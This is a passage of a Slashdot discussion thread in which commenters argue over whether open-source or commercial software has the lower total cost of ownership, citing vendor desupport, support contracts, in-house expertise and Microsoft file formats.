    Our policy is that we can use OSS where we feel appropriate, but we must obtain an internal owner for ongoing support. We have done well with it so far and will use more.

    One thing to watch out for is the licensing obligations with some of the OSS agreements.

  244. Real world TCO example by Proudrooster · · Score: 2, Insightful

    Let's suppose you go out a customizable, supported commercial software system. Further, let's assume the implementation is a wild success.

    Let's suppose you want to build on your prior success and repeat it. You bring in a second vendor and explain that the *NEW* system you are about to purchase must interface with the old system. The vendor offers to create an interface for a nominal charge. Let's assume this is a wild success.

    Life is great, all your systems are stable, customized and interfaced. Remember, that no system is an island and has to join the enterprise sooner or later.

    --- Time Passes ----

    You are walking down the hall with a bounce in your step and head to your mailbox box, where you find a letter from the first vendor. The letter explains that your current product, which is running so well has been deprecated and will be desupported at the end of the year. You think, no problem, we'll just upgrade.

    A few days later you get a similar letter from the second vendor, the dreaded "DESUPPORT NOTICE". Ok, now your starting to sweat, your world is in need of upgrading and then, you remember the interface that ties both successful system together.

    You go back to your office and fumble for business cards and try to contact the sales guys who sold you this stuff, however the area codes are now different and either none of the sales guys still work at the same company or have been transferred to another territory. This prevents customers from forming long term relationships with salemen. Why do they do this??? I don't know.

    You finally find the new sales reps and setup meetings. They explain that the product has changed and so has the licensing. They also explain you will need to upgrade your hardware, O/S, and backend database for the new verion to work. As for the interface that ties the two togehter, that becomes a major problem and the source of many meetings. Finally, you get a quote and the cost to upgrade the interface is astronomical.

    Now you are stuck. You can't just upgrade one half. You are deprecated and desupported, but still have to pay for support or you will have to rebuy the software if you ever upgrade. Vendors will typically refuse you upgrades if you let support lapse and will make you repurchase it all over again.

    Your options are to:
    1. rewrite the interface inhouse
    2. pay the ransom
    3. don't upgrade
    4. reimplement both systems all over again with new products and this time add language to the contract about the interface and upgrades

    How many people has this happened to?
    Raise your hand high in the air. Yes, I see you!

    One of the MANY, MANY, MANY things I like about OSS is that I can go at my own pace. No one is putting a gun to my head saying, UPGRADE OR DIE!

    If I create dependencies, I make sure I can upgrade one half at a time, instead of multvendor "BIG BANG" upgrades/implementations. Ask Hershey how much their "BIG BANG" multivendor SAP implementation cost them.

    When you buy commercial software, you get on the upgrade treadmill and you have NO CONTROL. Also, when you run into a bug and call support, the answer is ALWAYS, "You need to upgrade to the next version". My answer is "No, I am paying for support, so fix the DARN BUG" and they drag their feet and eventually mail me a "Desupport Notice".

    Now, let's talk about customizations and backward compatibility. OSS, especially PERL has AMAZING backward compatibility which is NOT found in most commercial products. I've taken large PERL web applications and moved them forward in time about 5 years and they ALL WORKED! Try that with Microsoft Visual Whatever or Java. I get so sick of reading, this function/feature/method was deprecated in version x.1 and of course you are installing x.2 .......

    I don't know what you are developing, so it is hard to give specific advice, but remember to use the right tool for the job, get training, and decide how fast you are willing to upgrade before you plunk down money with a vendor, since staying one release in front of being desupported will be part of your new job description.

    Sometimes I joke with my team and ask, "What is it we do again????" ... "Oh yeah I remember, we upgrade."...

    So instead of spending all my time reading mail lists and developing new useful stuff, I can spend my valuable time upgrading and utilizing the support resources I pay for, since I am going to need them when I hit a bump in the upgrade process. Also, vendors will gladly sell you "upgrade consulting" services, but won't actually do the upgrade for you, they just consult you know.

    Good Luck!

    1. Re:Real world TCO example by arnwald · · Score: 1

      Hi there,

      that is quite a rash mail.
      SAP implementations are expensive because good SAP consultans are rare and thus cost.

      I have personally been in upgrade projects from SAP 3.1 to SAP 4.6C ( age difference of 6/7 years ). And it worked almost perfectly.

      So please dont say that no commercial product has this kind of lifeitem/backward compatibility.

      Also, SAP interfaces dont 'break' and are easy to change. Easy is of course relative, it might cost you 5 days of development which costs now about 1000 Euro ( dollar is slightly lower than euro ).

      Cheers,
      T.

      --
      My other sig is Funny.
  245. Seems kinda flawed by Anonymous Coward · · Score: 0

    It seems to assume that the price of commercial software is all that it costs to support.

    That hasn't been my experience, and I bet others will concur.

    If you buy commercial software, most of the time you won't get much support from the vendor unless you purchase a support contract or pay per incident for support. And there are certainly costs in staff time to deal with taking advantage of that support as well. Given how poor I've often found commercial software support to be, it often is fairly substantial. Frankly, even though there are a few surly free/open source developers out there, I'd rather deal with them than some monkey reading off a help CD whose only advantage over me if I buy that CD is he probably has a more up to date copy than I can get.

    And given all that, I've found most people who have to deal with commercial software still spend a considerable amount of time pursuing support through other channels (support groups, IRC, mailing lists, etc), where are the supposed savings over free/open source software?

    No matter how I look at this thing, I can't see very many times when buying commercial software looks to have a lower TCO than free/open source once you really look at the big picture.

  246. yawn by Anonymous Coward · · Score: 0

    Why is it that people whom DON'T use open source libraries/projects always ask about the economic viability of it?

    If you're really curious, hire a guy that knows how to use these libraries and ask him. Stop guessing. Start creating and working.

  247. What happens if... by PinkX · · Score: 1

    ... before the 10 years the company that sold the software goes bye-bye?

    Closed source, commercial software is generally buried under these circunstances. Take opensource software on the other hand. If the mantainer of the package decides to 'go away', it's very likely that if it's a succesful project someone else will take it on his hands. And you will always be able to get and modify the source code, hire someone to do it for you or adapt it for your future needs. I think there is no point on adopting closed source, commercial software for such long-term projects. Just think of what happened with Windows 95. In just three years that it was launched, a new version (98) came over and 95 wasn't available in stores anymore. Not so long ago, 95 stopped being a supported product making you upgrade to 98 in order to be able to enjoy from all the new features and nifty stuff.

    Just my 2 cents.

  248. re: send Gates to Canada by Anonymous Coward · · Score: 1, Funny

    ... what makes you think WE want him up here?!??? :-)

  249. One reason to go Open Source by sstair · · Score: 1

    If you have developers in-house, and not just system/network admins, you can get a secondary benefit of fixing bugs/making changes to the Open Source code.

  250. Not an OSS vs. Commerical Problem by Anonymous Coward · · Score: 0

    Jack,
    You seem to have done a very thorough job with your analysis. I have been in the very same position as your client and can offer a few observations. Note that these are observations about my (and your client's) situation, not philosophizing about open/closed source software.

    1. Based on my experience, this is not an OSS vs. Commercial argument. It is primarily about outsourced support vs. in-house house support. Those options do exist for both types of software. Points #2 and #3 detail some of the rational for this statement, but in a nutshell the barebones software costs pale in comparison to the support/development costs. This is true in almost any TCO analysis but the costs you were discussing show that ultimately it doesn't matter how you purchased/acquired the software, the vast majority of the expense would be determined by their method of supporting and maintaining it.

    2. Open vs. Closed does add development and customization to the equation. If you have found products that meet your clients needs then you may have limited or non-existent customization. Future changes to IT and their own business practices may instill a desire to change the software in some way. You may (if you haven't already) want to weigh the cost of future upgrades for additional features (commercial) vs. programmer FTEs or consultants (OSS). If you haven't found a product that can do what your client needs without significant customization then in most cases closed source may still be an option, but the expense skyrockets because you must have programmers as well as developer's licensing.

    3. As I stated above, in this particular case, the licensing & hardware cost and support & maintenance cost will cause support to be the primary concern. Although the latter would almost always be a much greater component of TCO, the numbers you are indicating for licenses is so low as to seem below the radar. Compare this to the example of turning from an OSS mail system to Exchange. In that case, you could drop five to six figures on CALs, servers and startup costs with questionable increase in functionality.

    4. It sounds like this is a rather small government agency (or division within the agency), therefore I imagine there aren't too many candidates to be the in-house developers and support personnel. Since turnover is a concern, implementing a single (or at least focused) point of failure support model would be disastrous. If the program is mission critical and they go the OSS route, your clients may find themselves hiring additional programmers/support staff to offset those points of failure risks. You can make no guarantee of retaining the best and brightest in relatively low paying government jobs.

    To sum it up, I am not surprised at all that your client's circumstances caused OSS to actually have a higher TCO. It doesn't mean you have any parameters wrong, it simply adds up that way for this situation. Generally, open source applications that are mature and handle high volume (apache, sendmail, etc...) trump their licensed equivalents since licensing is often per node/cpu/server/chicken, etc... In those cases, the savings on license costs can really bankroll support and programmers. However there is no fundamental physical law that states OSS must have a lower TCO.

  251. Gov't != 24x7 by Anonymous Coward · · Score: 0

    So a government agency, which itself is unlikely to be available 24x7 (/maybe/ 5x4, if you are lucky), needs 24x7 support for software? Sounds fishy to me.

    Move along.

  252. How to get cheap open source support by KingOfBLASH · · Score: 1

    The company I work for makes extensive use of interns. In exchange for the experience, a good reference, and minimum wage there isn't too much you can't get an intern a semester or two away from graduation to do.

    The trick is to make sure everything is documented and backed up. I.e. make sure you've got an extra copy of the software stashed somewhere the interns can't irrevocable change it, and make them test out all their solutions on an old server before letting them install it on the IMPORTANT server.

    The other thing to take into account is how much you're actually going to need to change things. I know people who run a stable Windows ME because they just use Internet Explorer and the Microsoft Works suite that came with it.

    If you're going to have this search engine around for 10 years it doesn't sound like there are going to be too many changes made - otherwise we wouldn't even be having this discussion. And that means you may not even need that overpriced corporate support.

    Look. To put it bluntly it's very hard to figure out exactly which one will be better. That's because you don't know exactly how it will be used. But as other posters have pointed out - there's no chance of a company going bankrupt, and completely losing your product if you have the code.

    The risks in using open source software are the rewards. Now, I doubt that IBM will dissapear anytime soon - but it's concievable Micro$oft could completely subjugate them.

    At least with Open Source you know for a fact that in 10 years if your client still wants to run the same search engine but on the newest hardware or OS you can hire an intern to change the code. Cause over 10 years you're going to upgrade SOMETHING, and you have no idea what that new hardware will do with your old commercial app.

    Get your hands on a 10 year old computer program - circa MSDOS - and try running it on a modern computer. If you don't get any kind of error running it there's a good chance it's going to do some crazy things - run insanely fast (not in a good way - think of speeding up a record), give you wierd colors, do something it shouldn't.

    Then get your hands on 10 year old code. If you compile it it'll probably do the same thing as a 10 year old program. But at least you can change it around and get it running up to spec with modern hardware.

    -Dan

  253. The analysis is flawed by Alex+Belits · · Score: 3, Insightful

    The problem is, someone still have to do in-house maintenance of the project. If he is receiving support from the vendor he still has to do his job, and this does not translate into any significant saving of employee's time compared to him learning about the product and getting support from mailing lists. Purely theoretical "time saving" of 48 minutes per day for a person who has to work on the project anyway means nothing -- and most likely negated by the quality of information available.

    The analysis would be valid if it was similarly priced "end-user" product that did not require the user to be familiar with concepts and have skills necessary to use mailing lists and documentation, however search engine is not in this category.

    --
    Contrary to the popular belief, there indeed is no God.
  254. Blah! by autopr0n · · Score: 2

    Emacs, vim - I agree. Except for that without vim, many Unices wouldn't come with an editor and every admin should know to use it - if he doesn't, I'd fire him.

    PICO FOREVER!!!!

    --
    autopr0n is like, down and stuff.
  255. No it's the C compiler. by AftanGustur · · Score: 2
    It's just silly to claim that "open source" software is more expensive/cheaper. It's like claiming that software written in 'C' is harder to backup.

    It all depends more on other factors like how good is the people who are responsable for the production systems in the company. Here, where I work, we have 2 Linux servers side-by-side set up for redundancy (if 1 fails the other continues to do the work). They do all the SMTP and HTTP traffic (about 50 HTTP requests per second) (Squid and Postfix) and basically we don't have to think about them. The only problem is that about 2 times a year we have "memory squeze" errors on the console and one of the machine dies (it's related to the network-card driver eating upp all the mem (for incoming packages) before the kernel starts to swap.

    But in short, We never have to think about those machines. They do their job and they do it well.

    And yet, it's all "open source" software that runs on them.

    --
    echo '[q]sa[ln0=aln80~Psnlbx]16isb572CCB9AE9DB03273snlbxq' |dc
  256. Commercial support by kinki · · Score: 1

    I am a co-founder of a small Finnish company Pronics. We pretty much base our business on giving support (and adminstrating) OSS based systems, mostly various server software like apache, postfix, samba etc, mostly running on Linux. Our site is in Finnish but there is an old, outdated spartan site in English at http://www.pronics.com/en/

    --


    ++K

    <[letter kay][at][number seventy seven][dot][finnish TLD]>
  257. Re:You picked an extreme example, let me do that t by marauder404 · · Score: 2

    Good example -- I would probably have stuck with whatever solution you have right now. But some things to consider. Yes, you did point out that Exchange does more stuff than your current application, which is correct. Also note that their clustering solution would provide fail-over which is something that you don't seem to have right now with your one dual-processor machine. Finally, the original poster has a problem where he needs to pick between the two or more solutions he has available. You already have investment in some infrastructure, including the machine that you have, and the techs you have on staff that are presumably qualified to maintain the Linux machine. Either way, he needs to hire and/or train people to be proficient in the open source solution or the commercial solution. I can't comment on which is more expensive, but you don't need a full blown MCSE to maintain your mail server, though it is helpful.

  258. Excellent summary of the problem. by marauder404 · · Score: 2

    Excellent summary of the problem. Using open source for the sake of open source is just silly. Looking at the tool, with all the specifics laid out, is the right way to do it.

  259. How long a life cycle are we talking about by rbmyers · · Score: 1

    Here's the real problem with the TCO of proprietary software: when the company that wrote it stops supporting it or goes out of business, your TCO goes up without limit. What will you do then? Disassemble the binary? Good luck to ya. Not worried about M$ going out of business? You're probably right, but when they hang you out to dry with outdated software and want you to pay a fortune to make it work on their latest release of Windows Megabucks, what *will* you do? Oh, that's right, I forgot: you're a consultant and you'll be long gone with your share of the proceeds of a scam. I don't understand why people don't talk about this more. A floppy disk is more durable than data accessible only with proprietary software.

  260. Halloween VII? by Anonymous Coward · · Score: 0

    HALLOWEEN VII:
    {MS:} We must fight them with TCO FUD. Nothing Else Works.

    {Random Internet "Consultant":} TCO Of Open Source stuff higher, honest!.

    In my experience, Open Source TCO is MUCH lower, particularly over any span longer than 3-4 years. Commercial vendors just stop supporting the package and you either upgrade or go through procurement all over again. With open source, you just get a contractor in every couple of years to do a once-over of the code.

  261. My advice: by Anonymous Coward · · Score: 0

    Leave.
    They don't listen, they will pick pet projects over what will work, so the company is going down the pan, and they don't care for you in the least.

    Leave before they kick you out.
    Remember to cite the lack of heed you've been given - shows you're a team player,thinking of the company goals.

  262. Not QUITE by Duds · · Score: 1

    Over time this tends toward programs that the user population wants to use

    Actually over time it tends to result in programs the programming segment of the population wants to use.

    It's the same effect that makes Linux wonderful for some but a huge barrier to others. The stuff that makes average Joe want it is not what the programmer will feel is worth programming.

    This may of course be different if he's on staff, but that does tend to knacker the "Anyone, anywhere" bit.

  263. Good article and good responses by RobWalker · · Score: 2, Insightful

    What the article shows is that: - there's no easy or tried and tested formula for comparing support "cost" and support "quality/effectiveness" of commercial vs. open source offerings - businesses currently have a model for software purchasing and support which it is not easy to make OSS fit. And it takes time and effort to change business practices and models The responses present some good arguments: - OSS can provide a much safer, much more cost effective option - not all OSS projects are safe though, it depends on how committed and active their community is - proving this has to be done on a case by case basis - OSS is like all other software. It needs good hackers to support it. So whatever support you think you're buying or getting - look at the quality of the people who are delivering it. -- RobW

  264. Some say that it's priceless... by Anonymous Coward · · Score: 0

    and others, that it's worthless.

  265. Commercial support contracts not worth their $ by Anonymous Coward · · Score: 1, Interesting

    The initial posting seems to imply that if you
    pay for a commercial support contract, then your
    internal costs for supporting the product are 0.

    Not quite my experience. In most cases I've seen,
    when you pay for commercial support, you get answers
    with about as much insight as you get on your
    average OSS mailing list.

    So if you pay 8k/year for your inhouse guy to monitor
    the OSS mailing list, this is far better than
    paying 2k/year for commercial support, because
    you'll still need an inhouse guy (or a contractor)
    to stay up-to-date on the product which could
    easily amount to the same 8k/year you were trying
    to save on.

  266. Tangent by Kalani · · Score: 1

    vim, emacs - Outside the nerd kingdome [sic], these would not be considered "successful"

    Stephen Pinker, a linguist and author of the book "The Language Instinct," is a long-time emacs user. I don't know if you count linguists like Pinker as part of the "nerd kingdom" (he does have more than just a passing interest in things like lexical analysis after all) but the fact that somebody like him uses emacs should be suggestive to you that it might get some use outside of the domain of "techies." Even if the only people who use emacs are academics, that's still quite a large audience (and many successful companies are specifically aimed at supporting purely academic niches).

    --
    ___
    The ends are ape-chosen, only the means are man's. -- Aldous Huxley
  267. 10 years... by Phil+Hands · · Score: 3, Interesting

    10 Years is a long time.

    I sold my first commercial support for a GNU/Linux system almost 9 years ago:

    http://www.hands.com/100005.png

    If they still wanted me to support the versions of software that were installed on those machines, I would, but as it happens in that period they've upgraded from slackware (0.99?? kernel) to Debian all the way through to 3.0.

    They've also been privatised and split into three separate companies, two of which still use the grandchildren of these first systems, for which I still provide support.

    So, while a national institution like British Coal is now history, we're still around, and still willing to support any version of software our clients wish to use.

    Tell me a single proprietary vendor who would make the same claim (about historical support), and I'll send you a cookie ;-)

    Also, when you phone us, like most Free Software firms, you get to talk to someone that actually knows things.

    Call a proprietary vendors support line and you'll generally get to talk to some poor sod who is living the nightmare of a call centre, reading pointless scripts at angry customers. This does not generally do much for your inner harmony, and it almost never fixes the problem.

    --

    Debian: GNU/Linux done the Linux way
  268. Re:My experiences with both open and closed source by mpe · · Score: 2

    Presently, I'm working for a company which is using an open source component. We have spent a lot of time debugging the component, since the author no longer supports it. I'm sure we have spent way more than we would have if we had bought a closed source component, but our OS component happens to behave in a way we need and has functionality we couldn't find in other off-the-shelf products.

    How much could you have spent, time and money, trying to find a proprietary product which did exactly what you wanted? Or in changing the way you worked to suit the available proprietary software...

  269. What is that I am Smelling? by LifesABeach · · Score: 1



    Beware of m$ bearing F.U.D.

  270. Re:Assuming it is legal to read their "open format by mpe · · Score: 2

    I know you think you are /.'s head iconoclast, but you know as well anyone that MS has NO interest in encouranging crossplatform compatibility in ANY document formats, outside of enough lipservice to fill out the RFP acronym checklist of the day. The *default* save format (i.e. the one that 99% of the user base will use), while possibly being XML based, will no doubt be encumbered by very onerous NDA and licensing restrictions.

    Microsoft's idea of "cross platform" office formats is one way. That other programs should be able to output something office can import. Not that other apps should be (easily) able to read the output of an office app.

  271. Comment removed by account_deleted · · Score: 2

    Comment removed based on user account deletion

  272. Why this case is a disadvantage for OSS by martyros · · Score: 1
    There are a couple of things about this case which puts OSS at a distinct disadvantage. It sounds like
    1. This is a relatively uncommon piece of software; unlike gcc, emacs, gnome, the kernels, etc., there aren't a billion-and-one users / developers out there.
    2. The company in question is only using one instance of the product, and is relatively small; so licensing fees and tech support contracts are cheaper than having an in-house expert.
    3. There isn't a company to give support to the open-source version of the software. Perhaps because of #1 there just wouldn't be enough business for such a company; or perhaps no one has just happened to start a company to do so yet; but this is a major part of the OSS money-making model. If there were such a company, they could surely provide tech support for less than an in-house expert if there were enough business. (Anyone interested in a start-up?)

    But in spite of all this, the OSS only cost a bit more; and that's not even counting benefits other people mentioned, like not having to worry about the vendor tanking, deciding not to support show-stopper featuers, or forced upgrades.

    So even though it looks like the closed-source solution is more economically viable, the fact that OSS did so well in spite of its relative disadvantages says something.

    --

    TCP: Why the Internet is full of SYN.

  273. Re:Assuming it is legal to read their "open format by Anonymous Coward · · Score: 0

    You must be a youngster for if you were older than 20 year you would know we are already tired of the old song "I know M$ has done it the bad way till now, but the next version will be the good one".

  274. A rebuttal of sorts by Anonymous Coward · · Score: 0

    I'm running a hand-compiled apache/php/mod_ssl Linux box for the webserver. It was easy to do because the docs were understandable and relevant. And I bought several Slackware CDROMs through the years, even after DLing it and burning my own, because it's the right thing to do - PV has to eat to keep churning out the distro. I'm running a Qmail mailserver on Linux, it was easy enough to set up because the docs lead you by the hand every step of the install/configuration process, docs just don't get any better. We're looking into replacing Windoze on the desktops with KDE, but it isn't quite there yet feature-wise. But the dial-in PPP modem thing was an exercise in futility. If that makes me fucking stupid, so be it. I was smart enough to stick the XP box behind a linux firewall with this year's packet-mangler of choice, so I'm not totally brain dead. The economy is tight, we don't have a zillion-dollar IT budget. If OS software works for an application, cool, we'll use it. If it turns out to be more expensive to use than a license from MS costs, MS wins. I would gladly pay serious money for Apache and Qmail, but I wouldn't use mgetty again if I was paid to. Sorry, but that's the way it is.

    There's 2 *nix consultants in the area, both charge $200/hr with a minimum of one day to come out and lay hands on a box. We got the WinXP box and got it all set up for less than that, and the guy charges $50/hr to come and fix it if our in-house Windoze weenie can't make it work. And the XP software has all the trick timeouts built in, we don't have to write (or pay to have written for us) custom shell scripts. So what's more cost-effective?

    And anybody who claims to be doing dial-in on a Linux box is a liar - you got the same thing I do, a Windoze machine behind a Linux firewall. If you really were doing dial-in on Linux, you'd have written a useful and correct HOW-TO about it, instead of allowing the 5-year-old HEY-IT-COULD-WORK-IF-YOU'RE-LUCKY-AND-CAN-WRITE-YO UR-OWN-GETTY doc to remain on the web.

  275. Bad Advertising by IBitOBear · · Score: 2

    I guess I should have used a sexier subject line...

    (Sorry couldn't resist... 8-)

    --
    Innocent people shouldn't be forced to pay for inferior software development.
    --"Code Complete" Microsoft Press
  276. I can't speak for you, but here's my take by Anonymous Coward · · Score: 0

    I run an independently owned and operated web service which uses a remotely-hosted (i.e., co-located) server. I've had my background in Windows NT/2K, so I decided that it was a good idea to use NT/2K as the platform of choice.

    I met with amazing amounts of resistance from the other folks I was in on this with. Their arguments, to wit:

    1) Microsoft was an evil monster and supporting them in any way, shape or form was immoral, evil, unpleasant, wrong, and stupid.
    2) Windows was a piece of crap.
    3) Linux was the free open-source alternative to world revolution.

    OK, so I'm paraphrasing a bit. But most of the resistance I got was not terribly intelligent; it was of the worst sort of knee-jerk reactionism I see all too often here (sorry, but it's true). I told them that frankly I didn't have time to use Linux, since I didn't know it, and I had all the software anyway, pre-licensed.

    We had our site running in less than a week and have never had anything more major than having to pause the system to do in-place upgrades. The site is solid as a rock.

    Part of this, of course, is that I took pains to know what the hell I was doing. Most MCSEs are, sadly, idiots: they don't realize that in order to really know Windows you have to literally eat your own dog food, and since I was a user of the service as well as the main programmer and sysop, I had to learn the ins and outs of what I was doing far more intimately than if I'd just zombie-walked through some course.

    No, Windows is not perfect, but it is a damn good solution for many problems, and what I have seen of it has made me decide to stick with it. Yes, I have had to pay for it, and while I know I could have done the same thing for free with Linux and open source solutions, I don't think I could have accomplished one-tenth of what I was able to do. People who diss Windows' user-friendliness are dissing one of the things about it that makes it so damn important. People will pay for that.

  277. The article points out a need for to improve OSS by dcrede · · Score: 1

    People who are comparing OSS to commercial software need to interface with people who have a business plan which involves assisting them, which may not be the all of the people involved in the project. Their thing is developing clever software and that is great. What potential commercial users need is a data base which lists consultants who support particular projects. It would list the name, projects supported, geographical area served, level of involvement (project lead, contributor, or just providing support), and contact information. A person contimplating using OSS would search the data base to establish what support is available. Users would benefit from having more choices. The system would promote a dynamic market place for support of Open Source Software. Users of OSS would benefit because they would know that if their consultant did not give the desired level of service or raised fees to an unreasonable level, others would be happy to take his/her place. If they wanted to develop some level of expertise internally, the information to so would be readily available. They would know that if they wanted to make extensions to the software, the source code would be available. This is the way to take the problem described in the posting and make it a win for OSS.

  278. OSS CMS vs. CS CMS by theolein · · Score: 2

    The company I work for is implementing a Managment system with a CMS (web based). My predecessor(sic) went the familair windows route and contacted a comercial company for their Windows hosted, with a very poor windows visual basic data entry tool,system. we paid around $6000 in all for this. The problem was that their system was almost totally inflexible and being based on a C++ CGI, had to be recompiled and debugged with attendant devlopment costs for every tiny change (There was no CSS support etc). On top of this they left their ftp server completely open so that strangers could basically just walk in and view sensitive company data. requests for support went unanswered for weeks at a time.

    In the end we decided to cut our losses and we went for the OSS CMS at www.muze.nl. The developers were incredibly friendly, gave enormous amounts of support along with page long email tutorials and and ended up doing custom development work for whole new modules for a total price of less than half of what we paid the commercial company.

    I don't think that one can just say across the board that OSS or CS is better or cheaper. It depends on the company.

    In your case I would have used google.

  279. Re:Assuming it is legal to read their "open format by nyet · · Score: 2

    Apparent personal slurs apart, I am interested not in intentions but rather results.

    How are Microsoft's "intentions" not relevant? By and large, all of Microsoft's attempts to lock the user into proprietary formats and protocols has been *intentional* and, I might add, fairly effective (see also Kerberos and CIFS)

    There have been numerous reports that contradict your position.

    Will the "save as XML" be default or not? You did not address this point.

    You also claim that the XML-file format is protected by NDA. I have no idea how you can possibly claim that, or even think its possible. XML is plain text. Plain text. Its composed of plain, non-binary, ASCII or UNICODE text. Anyone with a text editor can open the document, anaylze the structure, and begin working with it. Are they suddenly going to make everyone with a text editor sign an NDA? Really, please explain your simply baffling claim.

    Not sure what you are getting at. Whether something is in "plain ASCII/UNICODE text" or not has no bearing on anything regarding NDAs, patents, copyrights, trademarks, or any other type of restrictive IP I am aware of. Just because I am ABLE to reverse-engineer a format (it being ASCII only simplifying the task) does not make it legal for me to do so if I have signed an NDA.

    Dismissing my claim as "simply baffling" certainly does not make *your* point any less coherent.

  280. Nonsense or just Microsoft FUD? by Anonymous Coward · · Score: 0

    As many others have pointed out, this post is rather lacking in any rigorous analysis, just rather vague assumptions and guesses on a single example. Certainly not a statistically sound study by any means.

    Rather, it reminds me of project plans written by non-technical managers with little knowledge of the subject matter, who then turn the plan over to architects and developers, and expect them to build the system in a certain time period and a certain budget.

    So I was none too surprised to see this article a few days later. It seems M$ can't compete with open-source on quality, so their going the TCO route.

    http://story.news.yahoo.com/news?tmpl=story&ncid =5 81&e=3&cid=581&u=/nm/20021109/tc_nm/tech_microsoft _opensource_dc

    Anyway, good subject, sure to be a hot topic, hopefully the quality of the analysis can be improved a bit.

  281. Paper says GPL maximizes costs... by Makarand · · Score: 1

    This paper argues that the long run total cost of operations (TCO) for a suite of proprietary software must necessarily be greater than that for an equivalent suite of free software, with the TCO benefits maximised in the case of the GPL and GPL-like free software... read on..!

    1. Re:Paper says GPL maximizes costs... by Anonymous Coward · · Score: 0

      ..you mean minimizes costs.

  282. Flawed analysis of support cost by RallyDriver · · Score: 2
    It's disingenuous to compare the support fees for a commercial product to the cost of acquiring knowledge of an open source one, as if the support fees were the sole cost and an untrained person with no IT expertise could act as the go-between between your systems and the vendor's support people. The fees paid to the vendor are merely one element of the true support costs.



    In practice, to run a successful production setup you're going to need to have your IT staff acquire expertise in the products used, open source or not. In most cases, except for extremely expensive software, this cost far outwieghs the license fees.



    Certain vendors would have you believe their products are "fire and forget" and that because most point operations are UI based you can just hire anyone off the street to run them and send them for a two-week certification in mouse-holding at the local tech college, but the reality is quite different - a knowledgeable and skilled sysadmin is a rare find, and indispensable in running real services.



    I am CTO at an ASP software provider; our production infrastructure runs our own code with a mixture of open and closed sourced tools. Rarely is it necessary for us to get in the hairy details, but when we do, in my experience the ultimate resort option of being able to look into the source and see what is going on outweighs the benefit of having a formal support contract, even if you never touch the code.



    For example...



    1. there was a long standing issue with Apache whereby mod_redirect had been designed to URLescape constant strings in the httpd.conf file used in its output; in my view this was a minor design oversight (if I wanted them URLescaped, and it didn't do it, I could always URLescape them myself, whereas because it did and I didn't, I was stuck) and a number of Apache bugDB entries were open against it. As someone with very rusty C skills (we use Java) and who had never touched Apache source before, it took me only a couple of hours to look into the code and see what was happening, make the one line change to remove the URLencode call, and recompile it. One happy camper. I wrote up an explanation for the Apache dev list, and the maintainer of the module added an option (ships from 1.3.20 on) to switch the auto-encoding off. Many happy campers.



    2. (To be topical) We use Inktomi as our search engine, and in my 10+ years of experience with tech support from all kinds of vendors form PC builders to Cray Research, their support desk is pretty good. We had a problem with their crawler whereby it was getting tangled up in session id's in URLs vs session id's in cookies, and it was generating a lot of unnecessary duplicates before figuring out they were identical and pruning them. We called their support, who suggested we hook our own URL filtering code into an API they provide (the crawler is Python). This didn't fix the issue, and it quickly became apparent (without having source to examine) that the call-out to customer-supplied URL filter code only happens after it has fetched, indexed and de-duped all the pages, no help in this case. Merely *communicating* this difference took several emails, culminating in sending them a block diagram of how we had deduced the internals of their product worked, and arrowing the two points (where we needed the API, and where it was) and getting a developer on the phone. Ultimately, we resolved the problem by special-casing the URL generation in our own product to work around this limitation.



    And I am still waiting for an option in MS-Word to NOT repaginate when changing between a B/W and colour printer with the same paper size :-) I can't be the only one that wants it, can I?



    I have also been in situations where I have had the benefit of access to the source code for a commercial product which was otherwise nominally closed source, and the extra flexibility is a great benefit when resolving complex issues; on more than one occasion got on the phone with the vendor, exchanged ideas, made a quick fix and rebuilt the binary so work could proceed, and let them send us a tidy / proper fix in the fullness of time.



    In short, if you have an open source product with a vibrant community around it, you have several more options than with a closed product. I would not advocate using open source code from a project that has withered on the vine for mission critical work, just like I wouldn't recommend using a commercial product that has been end-of-lifed. However, if you ARE prepared to take over maintaining the code base as an in-house product you always have that option with open source; with closed source it's extremely rare to get the chance (though I have taken over a commercial source base once before).

  283. Re:Assuming it is legal to read their "open format by RallyDriver · · Score: 2
    We will see once Office 11 is released who is right. Contact me by email if you are willing to make a wager.

    I'll make you a different wager - either (a) the so-called XML format will be so in name only, (e.g. a bunch of attributes will be Office COM objects serialised in base64, or undefined enumeration types) or (b) it will never happen, and they'll go on using .doc and .xls (modified of course to be incomaptible with Office XP to force upgrades on everyone who gets Office files by email), or (c) they'll do something funky to produce a copyright-enforced monopoly on the format (e.g. Word only processes files digitally signed with an MS PKI key which is "copyrighted") c.f. the Sony PS/PS2 trick.



    If MS produces an open or easily reverse-engineerable* format I'll eat my shorts.



    * before the Americans jump, reverse engineering for the purposes of developing interoperable products (not just software) is not only legal but in fact a protected right in many developed countries, i.e. it can't be taken from you by a monopolist with an EULA even with your consent.



  284. What about Consulting Companies filling the gap?? by Anonymous Coward · · Score: 0

    Why can't companies get a support contract with their friendly neighborhood IT consulting company? I work for one in NYC and we have a couple clients who rely on us for all different kinds of support - network, or firewall (linux based), qmail, etc... they have 24/7 or 9-5 or what have you.

    Wouldn't this be a win/win for everyone?

    And then the consulting companies don't have to go out of business, free software gets support and the company using it can feel warm and fuzzy.

    Just a thought.